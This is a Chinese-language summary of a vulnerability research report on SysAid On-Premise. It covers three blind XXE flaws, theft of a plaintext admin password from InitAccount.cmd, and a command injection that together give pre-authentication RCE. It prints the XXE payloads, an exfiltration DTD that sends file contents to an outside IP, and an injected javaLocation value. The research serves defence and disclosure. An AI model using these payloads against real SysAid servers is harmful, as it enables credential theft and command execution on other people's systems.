2. SysAid 地端部署版架構概述

SysAid 地端部署版被描述為在組織基礎架構中運行於 Windows Server 的應用程式。功能上，它作為 IT 支援和資產管理的中心點。

其核心是一個 Java 驅動的網頁伺服器，由捆綁的 JAR 檔案運行。主要的應用程式邏輯位於 sysaid.jar 中，這是一個包含數百個類別的大型 JAR 檔案。應用程式暴露了相當大的攻擊面，在 web.xml 檔案中揭露了超過 700 個公開的 Java servlets。如此大量的公開端點提供了 ample opportunity (充足機會) 來發現弱點，例如設定錯誤或被忽略的邊緣案例錯誤 (edge-case bugs)。

源資料中討論的 RCE 弱點鏈利用了此 Java 網頁伺服器架構中的特定 servlets 和程式碼路徑。

3. 弱點技術分析

達成預先認證 RCE 的路徑涉及串聯幾個不同的弱點：三個預先認證的 XML External Entity (XXE) 弱點、一種利用 XXE 洩露明文管理員憑證的機制，以及一個後認證的作業系統指令注入 (OS Command Injection) 弱點。

3.1 預先認證 XML External Entity (XXE) 弱點

XML External Entity 注入是一種網頁安全弱點，發生在 XML 解析器在處理包含對外部實體參考的 XML 輸入時，沒有進行足夠的驗證 [來源資料透過弱點類型暗示了這一點，但未定義 XXE]。這可能允許攻擊者讀取本地檔案、與內部系統互動或執行阻斷服務攻擊。來源詳細介紹了 SysAid 地端部署版中的三個不同的預先認證 XXE 弱點。

3.1.1 第一個預先認證 XXE (CVE-2025-2775)

這個弱點在處理發送到 /mdm/checkin 端點的請求時，於 com.ilient.mdm.GetMdmMessage#doPost 方法中觸發。來源強調這個端點可能被行動裝置用於裝置管理流程。

相關的程式碼片段顯示 doPost 方法正在處理傳入請求。弱點發生在 Line: NSDictionary parse2 = PropertyListParser.parse(byteArray); 。這行程式碼解析 HTTP POST 請求中包含的使用者提供的資料 ( byteArray )，在解析之前沒有進行任何明顯的驗證或淨化 (sanitization)。

導致呼叫有漏洞的解析器的邏輯流程詳述如下：

• 使用者提供的 URI 儲存在 requestURI 變數中 。
• 請求 URL 儲存在 stringBuffer 變數中 。
• 程式碼檢查 stringBuffer 是否包含 /mdm/ 路徑 。
• 如果 /mdm/ 檢查通過，程式碼驗證 requestURI 是否以 " checkin " 結尾 。
• 如果這兩個檢查都通過，使用者提供的 byteArray 會被 PropertyListParser.parse 解析，觸發XXE。

提供用於觸發此弱點的範例請求是發送到 /mdm/checkin 的 POST 請求，其 Content-Type: application/xml 並包含一個 XML Payload ，其中含有一段引用外部實體(External Entify)的 DOCTYPE 宣告，例如：

<!DOCTYPE foo [ <!ENTITY % foo SYSTEM "http://poc-server/watchTowr.dtd"> %foo; ]>
    

成功攻擊的跡象是 HTTP 200 回應以及伺服器嘗試從攻擊者控制的伺服器抓取指定的外部 DTD 檔案。來源指出在回呼時出現一個 "tell-tale Java User-Agent" 作為成功觸發的證明。

3.1.2 第二個預先認證 XXE (CVE-2025-2776)

第二個 XXE 弱點位於相同的 com.ilient.mdm.GetMdmMessage#doPost 方法中，但由不同的端點後綴觸發。它發生在處理以 /mdm/serverurl 結尾的請求時。

弱點觸發於 Line: NSDictionary parse3 = PropertyListParser.parse(byteArray); 。就像第一個 XXE 一樣，這行程式碼使用 PropertyListParser.parse 解析 POST 請求中使用者提供的資料，而未經淨化。

觸發邏輯與第一個 XXE 類似：

• requestURI 儲存使用者提供的 URI 。
• stringBuffer 儲存請求 URL 。
• 程式碼檢查 stringBuffer 是否包含 /mdm/ 。
• 如果 /mdm/ 檢查通過，程式碼驗證 requestURI 是否以 " serverurl " 結尾 。
• 如果這兩個檢查都通過，使用者提供的資料會被 PropertyListParser.parse 解析，觸發 XXE 。

來源提供了一個觸發此 XXE 的範例請求，類似於第一個，目標是 /mdm/serverurl 並帶有引用外部 DTD 的 XML Payload 。成功觸發也會導致 HTTP 200 回應並嘗試抓取外部 DTD。據報導，SysAid 的更新日誌僅提及兩個 XXE 弱點，來源推測這可能是因為前兩個XXE(都在 GetMdmMessage 類別中) 被歸為一個問題。

3.1.3 第三個預先認證 XXE (CVE-2025-2777)

第三個 XXE 弱點在發送請求到 /lshw 端點時觸發。這個端點由 com.ilient.agentApi.LshwAgent#doPost 方法處理。 LshwAgent 中的 doPost 方法被描述為一個 wrapper (包裝器)，在呼叫另一個方法 new b().a() 來處理主要邏輯之前，它會檢查各種 HTTP 參數。

弱點位於 com.ilient.agentApi.b#a 方法中。這個方法處理使用者提供的 HTTP POST 請求資料。XXE 觸發於 Line : sAXParser.parse(inputSource); 。這行程式碼使用一個 SAXParser 實例 ( sAXParser ) 來解析使用者提供的資料 ( stringBuffer.toString() ，被包裝在一個 InputSource 中)。

導致 XXE 觸發的解析步驟是：

• 接收到的資料使用 new InputSource(new StringReader(stringBuffer.toString())) 包裝在一個 InputSource 中。
• 創建並設定一個新的 SAXParser 實例 (Line )。
• 將當前類別設定為解析器的 ContentHandler 。
• 使用者提供的資料透過 sAXParser.parse(inputSource) 解析，觸發 XXE 。

利用這個XXE需要提供幾個 HTTP 參數 (例如， osVer , osCode , osKernel , agentVersion , serial ) 來滿足 LshwAgent#doPost 方法中 if() 條件的檢查。一個範例請求包含這些參數以及一個發送到 /lshw 的 XML Payload ，其中帶有外部實體參考。成功利用的跡象是 HTTP 200 回應並帶有 "OK" 以及嘗試抓取外部 DTD。

3.2 利用 XXE 達成影響：檔案洩露和限制

在發現三個預先認證 XXE 後，研究人員尋求提升影響。標準的 XXE 攻擊選項包括取很本機檔案、與內部系統互動或造成阻斷服務。主要目標是洩露本地檔案內容。

嘗試使用第二個XXE( /mdm/serverurl ) 來外洩 C:\windows\win.ini 的內容。托管了一個外部 DTD 檔案 ( exfil.dtd )，其結構如下：

<!ENTITY % d SYSTEM "file:///C:\\windows\\win.ini">
<!ENTITY % c "<!ENTITY rrr SYSTEM 'http://192.168.8.107/?e=%d;'>">
    

一個 POST 請求發送到 /mdm/serverurl 並引用此外部 DTD。雖然觀察到對 exfil.dtd 的請求，但沒有發生帶有 win.ini 內容的回呼。

進一步的測試揭示了一個限制：使用這些XXE只能外洩檔案的第一行。當目標是一個手動創建的 secret.txt 檔案，且只包含單行內容時，其內容通過二次回呼成功外洩。然而，向檔案中添加額外的行會阻止成功外洩。來源指出，這個單行外洩限制是最近 Java 版本中添加的一個緩解措施，旨在阻止XXE 攻擊期間的完整檔案洩露，儘管 SysAid 中的XXE是 "entirely blind," (全盲的)，這阻止了使用基於錯誤的 XXE 繞過方法。

3.3 透過明文密碼洩露奪取管理員帳號

儘管有單行限制，研究人員推測可能存在一個文字檔案，其敏感資訊位於第一行。這導致他們發現了 C:\Program Files\SysAidServer\logs\InitAccount.cmd 檔案。

這個檔案在 SysAid 地端部署版安裝過程中創建，其第一行包含了主管理員帳號的 明文密碼 。一個範例片段顯示了使用的指令，包括 "admin" 和 "P@ssW0rd" (作為範例密碼) 作為參數。這個檔案在安裝後仍然存在於系統上。使用者在安裝期間輸入的密碼會直接寫入這個腳本(Script)中。

由於管理員密碼位於 InitAccount.cmd 的第一行，並且不包含會透過單行XXE 弱點干擾外洩的特殊字元，因此這個檔案非常適合被提取。

使用與之前相同的XXE 技術，但將外部 DTD 指向 file:///C:\\Program Files\\SysAidServer\\logs\\InitAccount.cmd ，檔案的完整內容成功外洩。這成功揭露了明文的管理員密碼。

這一步達成了管理員帳號的奪取，獲得了後認證存取權限，但尚未實現 Remote Command Execution。

3.4 後認證作業系統指令注入 (OS Command Injection) (CVE-2025-2778)

獲得管理員憑證後，目標轉移到尋找一個後認證弱點以實現 RCE。分析版本 24.4.60 的更新說明，其中修復了XXE 弱點，揭露了一個關於 "OS Command Injection Vulnerability Fix" (作業系統指令注入弱點修復) 的提及。儘管這個弱點不是來源的作者發現的，但它成為了 RCE 弱點鏈的最後一環。

更新分析指向編譯後的 JSP 頁面 com.ilient.jsp.API_jsp 作為修復的位置。在這個類別的 _jspService 方法中，程式碼處理 API 設定的更新。

相關的程式碼片段顯示了對 updateApiSettings 參數的處理。

• 程式碼檢查是否存在 updateApiSettings 請求參數 。
• 如果存在，使用 httpServletRequest.getParameter("javaLocation") 直接從 HTTP 請求中讀取 javaLocation 參數的值 。
• 取出當前使用者的帳號 ID。
• 使用 AccountPropertiesManager.addAccountStringProperty 將取得的 javaLocation 值儲存為帳號屬性 ，並與常數 AccountPropertiesConstants.SYSAID_API_SETTINGS_JAVA_LOCATION 關聯。

此時，使用者輸入 ( javaLocation ) 僅被儲存。然而，來源指出，這成為了一個 second-order command injection 風險，因為 JavaLocation 的值稍後會被放入一個 shell 腳本中。

追溯 AccountPropertiesConstants.SYSAID_API_SETTINGS_JAVA_LOCATION 的使用位置，揭示了 com.ilient.api.a.a#a 方法。這個方法負責更新 SysAid API jar 檔案。在這個方法中，取出之前儲存的 javaLocation 屬性 。

關鍵的是，這個方法動態生成一個 shell 腳本 (Windows 用 updateApi.bat ，Linux 用 updateApi.sh )。取得的 accountStringProperty (由攻擊者控制的 javaLocation 值) 直接插入到寫入這個腳本檔案的指令中。

例如，在 Windows 上，腳本產生包含以下行：

printWriter5.write("\"" + accountStringProperty + "javac\\" -d ../classes -cp .;../../classes" + stringBuffer.toString() + " com/ilient/api/*.java com/ilient/api/sysaidObjects/*.java\\n"); .
    

來源強調在將 accountStringProperty 插入腳本時缺乏 輸入驗證 。這允許攻擊者通過控制 javaLocation 參數的值來注入任意指令。

一個範例展示了在 Windows 系統上注入 calc 。一個 POST 請求發送到 /API.jsp (這需要認證，已通過先前步驟取得) 並帶有參數，包括 updateApiSettings=true 和 javaLocation="%0acalc%0a" 。值 "%0acalc%0a" 對應於一個雙引號、一個換行符 ( %0a )、指令 calc 和另一個換行符。

當這個值被插入腳本生成時，導致 updateApi.bat 檔案包含如下行：

"\"%0acalc%0ajavac\" -d ../classes -cp .;../../classes....
    

當這個腳本被執行時，注入的 calc 指令將會執行。這個腳本的執行似乎稍後在同一個 com.ilient.api.a.a#a 方法內觸發 (呼叫 a(str + str6) ，其中 str + str6 是生成腳本的路徑)。

這個弱點允許一個後認證的攻擊者通過控制動態生成並執行的腳本內容來達成 Remote Command Execution。

4. Remote Command Execution 弱點鏈

完整的預先認證 RCE 弱點鏈構建如下：

1. 預先認證 XXE (CVE-2025-2775 或 -2776 或 -2777)： 攻擊者向其中一個有漏洞的預先認證端點 ( /mdm/checkin 、 /mdm/serverurl 或 /lshw ) 發送特製的 XML 請求。
2. 明文管理員密碼洩露： 利用XXE執行 C:\Program Files\SysAidServer\logs\InitAccount.cmd 檔案的 out-of-band 讀取。檔案內容中包含密碼的單行性質繞過了 Java XXE 檔案外洩限制。這一步獲得了明文的管理員密碼。
3. 管理員認證： 攻擊者使用已洩露的管理員密碼對 SysAid 實例進行認證。
4. 後認證 Command Injection (CVE-2025-2778)： 作為管理員認證後，攻擊者向 /API.jsp 端點發送特製的請求，將 javaLocation 參數設置為包含注入的作業系統指令的值。
5. 腳本生成和執行： 由攻擊者控制的 javaLocation 值被儲存並稍後插入到動態生成的 shell 腳本 ( updateApi.bat 或 updateApi.sh ) 中。這個現在包含注入指令的腳本隨後由應用程式執行。

這個弱點鏈允許攻擊者，從沒有任何憑證開始，在託管 SysAid 的底層 Windows Server 上執行指令。

5. 受影響版本和 CVE 編號分配

來源指出，SysAid 地端部署版版本 <= 23.3.40 受本文詳細說明的問題影響且存在弱點。

已分配了以下 CVE 編號：

• CVE-2025-2775： 預先認證 XXE 1 (由 watchTowr 回報)
• CVE-2025-2776： 預先認證 XXE 2 (由 watchTowr 回報)
• CVE-2025-2777： 預先認證 XXE 3 (由 watchTowr 回報)
• CVE-2025-2778： 後認證 OS Command Injection (由 Unknown Reporter 回報)

來源指出，SysAid 的更新日誌存在差異，只提及兩個XXE弱點，這表明他們可能將 CVE-2025-2775 和 CVE-2025-2776 (兩者都在 GetMdmMessage 類別中) 合併為一個問題。據報導，這些弱點的修補程式已在版本 24.4.60 中發布。

6. 披露時程

來源提供了弱點披露過程的時程：

• 2024 年 12 月 20 日： 第一個 XXE 弱點報告發送給 SysAid。
• 2024 年 12 月 22 日： SysAid 回應，無法重現 XXE，並提及他們的披露條款。
• 2025 年 1 月 3 日： 發送更詳細的報告。
• 2025 年 1 月 6 日： 報告另外兩個 XXE 弱點。
• 2025 年 1 月 30 日、2 月 6 日、2 月 24 日： watchTowr 發送追蹤電子郵件尋求確認。
• 2025 年 3 月 3 日： SysAid 發布版本 24.4.60，修復了報告的弱點 (此時尚未分配 CVE 編號)。
• 2025 年 3 月 22 日： watchTowr CEO 嘗試透過 LinkedIn 聯繫 (無回應)。
• 2025 年 3 月 25 日： watchTowr 通知 SysAid 已保留 CVE 編號。
• 2025 年 5 月 7 日： watchTowr 發布研究報告。

7. 結論

對 SysAid 地端部署版版本 <= 23.3.40 弱點的分析揭示了一個關鍵的預先認證 RCE 弱點鏈。這個弱點鏈展示了多個看似影響較小的弱點 (盲、單行 XXE 檔案讀取) 如何與設定錯誤 (密文憑證儲存在可預測的位置) 和其他弱點 (後認證 Command Injection) 相結合，以實現最大影響。

來源強調了 ITSM 解決方案的關鍵性質，並再次說明了嚴格安全測試的重要性，特別是對於業務關鍵型、曝露於網際網路的企業軟體。在這樣的系統中發現明文憑證以及容易利用的解析和指令執行弱點，凸顯了如果這些系統沒有適當保護和修補，組織可能面臨的潛在風險。

研究人員倡導持續進行安全測試，以快速識別和應對新出現的威脅和弱點。應用 SysAid 地端部署版版本 24.4.60 或更高版本的可用修補程式對於緩解這些特定弱點至關重要。

參考資料

1. SysOwned, Your Friendly Support Ticket - SysAid On-Premise Pre-Auth RCE Chain (CVE-2025-2775 And Friends) By — Sina Kheirkhah (@SinSinology) — Jake Knott (@inkmoro) — May 7, 2025